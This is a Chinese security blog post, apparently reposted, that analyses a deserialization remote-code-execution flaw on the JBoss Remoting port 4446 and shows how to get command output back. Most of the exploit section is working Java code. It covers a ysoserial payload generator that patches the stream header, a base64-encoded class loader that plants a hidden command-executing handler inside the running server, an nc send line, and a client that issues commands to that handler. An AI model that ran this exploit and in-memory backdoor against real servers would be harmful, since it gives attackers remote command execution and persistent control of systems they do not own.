JBoss EAP/AS <= 6.* RCE及rpc回显

admin 2022年9月23日13:56:00安全文章评论4 views12221字阅读40分44秒阅读模式

前言

看到推上发了jboss的0day rce,分析一下。

JBoss EAP/AS <= 6.* RCE及rpc回显

这个洞是在国外Alligator Conference 2019会议上的一个议题,ppt在这里 https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf

议题中讲到了jboss的4446端口反序列化rce,和一条jndi注入的gadget。

反序列化rce

jboss默认会开几个端口

端口 状态 目的
1098 启用 RMI 命名服务
3528 已禁用 IANA 分配的 IIOP 端口
4444 启用 RMI JRMP 调用程序
4445 启用 RMI 池调用程序
4446 启用 远程服务器连接器
4447 启用 远程服务器连接器
4457 启用 远程服务器连接器
4712 启用 JBossTS 恢复管理器
4713 启用 JBossTS 事务状态管理器
4714 启用 JBossTS 的进程 ID
8080 启用 HTTP 连接器
8083 启用 RMI 类加载迷你 Web 服务器
8443 启用 JBossWS HTTPS 连接器套接字

其中4445端口有一个历史RCE cve-2016-3690,是PooledInvokerServlet反序列化。

JBoss EAP/AS <= 6.* RCE及rpc回显

这次问题出在4446,这是个Remoting3端口,官网介绍看这里,看了看remoting3的文档没写,可以先看2的文档。

这是一个架构图

JBoss EAP/AS <= 6.* RCE及rpc回显

直接向4446发送一些数据

JBoss EAP/AS <= 6.* RCE及rpc回显

明显的aced0005,但是没有其他的东西了,可能是对数据的解析进行了特殊处理,我们使用api来远程调用一下。

创建一个maven项目,导入jboss remoting2的包,或者从https://jbossremoting.jboss.org/downloads.html 直接下载jar包也行。

maven配置参考520师傅的

<dependency>
<groupId>org.jboss.remoting</groupId>
<artifactId>jboss-remoting</artifactId>
<version>2.5.4.SP5</version>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
<version>3.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss</groupId>
<artifactId>jboss-common-core</artifactId>
<version>2.5.0.Final</version>
<exclusions>
<exclusion>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-spi</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>concurrent</groupId>
<artifactId>concurrent</artifactId>
<version>1.3.4</version>
</dependency>

JBoss EAP/AS <= 6.* RCE及rpc回显

客户端先发一个0xaced0005,服务端回复一个0xaced0005,然后客户端发0x77011679...等。其中0x77011679分别表示

final static byte TC_BLOCKDATA =    (byte)0x77;
final static byte SC_WRITE_METHOD = 0x01;
0x16 Protocol version 22
final static byte TC_RESET = (byte)0x79;

JBoss EAP/AS <= 6.* RCE及rpc回显

后面的东西就是payload了,所以我们只需要替换yso生成的payload的前四个字节。

JBoss EAP/AS <= 6.* RCE及rpc回显

4446和3873端⼝均可利⽤。

调试跟一下

org.jboss.remoting.transport.socket.ServerThread#processInvocation中处理了0x16,读出来协议版本为22

JBoss EAP/AS <= 6.* RCE及rpc回显

org.jboss.remoting.transport.socket.ServerThread#versionedRead中会调用this.unmarshaller.read()

JBoss EAP/AS <= 6.* RCE及rpc回显

在read中调用java类型的原生反序列化org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject

JBoss EAP/AS <= 6.* RCE及rpc回显

除了java以外还有别的

JBoss EAP/AS <= 6.* RCE及rpc回显

最后就进入了readObject

JBoss EAP/AS <= 6.* RCE及rpc回显

完整的堆栈

exec:348, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2319, ObjectInputStream (java.io)
readOrdinaryObject:2210, ObjectInputStream (java.io)
readObject0:1690, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
dorun:548, ServerThread (org.jboss.remoting.transport.socket)
run:234, ServerThread (org.jboss.remoting.transport.socket)

rpc调用

研究了一下jboss的remoting,可以写一个类继承自ServerInvocationHandler接口,通过classloader定义到jvm中,然后client查询即可。

关于jboss remoting开发的可以直接看官方的sample,从这里下载

注册ServerInvocationHandler可以调用org.jboss.remoting.ServerInvoker#addInvocationHandler函数,我们需要在线程中找到ServerInvoker的值反射获取以此来动态添加handler。

调试来看在当前线程中就有handler所在的hashmap,所以我们只需要把我们的EvilHandler put进去就行了。

JBoss EAP/AS <= 6.* RCE及rpc回显

其中ASD就是我的handler

这里直接贴代码,首先需要一个JbossInvocationHandler来执行命令。

package ysoserial.payloads.templates;

import org.jboss.remoting.InvocationRequest;
import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.ServerInvoker;
import org.jboss.remoting.callback.InvokerCallbackHandler;

import javax.management.MBeanServer;

public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {

@Override
public void run() {
}

@Override
public void setMBeanServer(MBeanServer mBeanServer) {
}

@Override
public void setInvoker(ServerInvoker serverInvoker) {
}

@Override
public Object invoke(InvocationRequest invocationRequest) throws Throwable {
String cmd = (String) invocationRequest.getParameter();
System.out.println("接收到命令:" + cmd);
String[] cmds = new String[]{"cmd", "/c", cmd};
if (!System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"bash", "-c", cmd};
}
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\A");
return s.hasNext() ? s.next() : "no result";
}

@Override
public void addListener(InvokerCallbackHandler invokerCallbackHandler) {
}

@Override
public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {
}
}

然后base64编码用classloader加载

package ysoserial.payloads.templates;

import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.transport.socket.ServerThread;
import org.jboss.remoting.transport.socket.SocketServerInvoker;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
static {
try {
byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
Object instance = invoke.newInstance();

ServerThread serverThread = (ServerThread) Thread.currentThread();
Field invoker = serverThread.getClass().getDeclaredField("invoker");
invoker.setAccessible(true);
SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
} catch (Throwable e) {
e.printStackTrace();
}
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
}

最后用CB183生成payload。

package ysoserial;

import com.google.common.io.Files;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang.ArrayUtils;
import ysoserial.payloads.CommonsBeanutils183NOCC;
import ysoserial.payloads.templates.JbossInvocationHandler;

import java.io.File;
import java.util.Arrays;

public class JbossRemoting {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
String s = Base64.encodeBase64String(ctClass.toBytecode());
System.out.println(s);

Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
byte[] serialize = Serializer.serialize(calc);

byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
System.out.println(aced.length + range.length == serialize.length);
byte[] bytes = ArrayUtils.addAll(aced, bs);
bytes = ArrayUtils.addAll(bytes, range);
Files.write(bytes, new File("E:\tools\code\ysoserial\target\payload.ser"));
}
}

然后nc发送

cat payload.ser |nc 127.0.0.1 4446|hexdump -C

然后新建一个client去执行命令

package org.jboss.remoting.samples.myclient;

import org.jboss.remoting.Client;
import org.jboss.remoting.InvokerLocator;

public class MyClient {
public static void main(String[] args) throws Throwable {
InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
Client client = new Client(locator);
client.setSubsystem("Y4er");
client.connect();
Object as = client.invoke("dir");
System.out.println(as);
client.disconnect();
}
}

JBoss EAP/AS <= 6.* RCE及rpc回显

jboss日志中

JBoss EAP/AS <= 6.* RCE及rpc回显

jndi注入

org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal

JBoss EAP/AS <= 6.* RCE及rpc回显

很直观不详细展开了

思考

jboss的rpc有多种传输方式,其内置了几种反序列化方式,其他协议是否会有问题?

jboss的remoting挺有意思,看了官方sample,可以rmi、socket、http等多种方式调用,除了handler是否有其他的回显方式?

来源先知(https://xz.aliyun.com/t/11301#toc-0)

注:如有侵权请联系删除



JBoss EAP/AS <= 6.* RCE及rpc回显

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JBoss EAP/AS <= 6.* RCE及rpc回显

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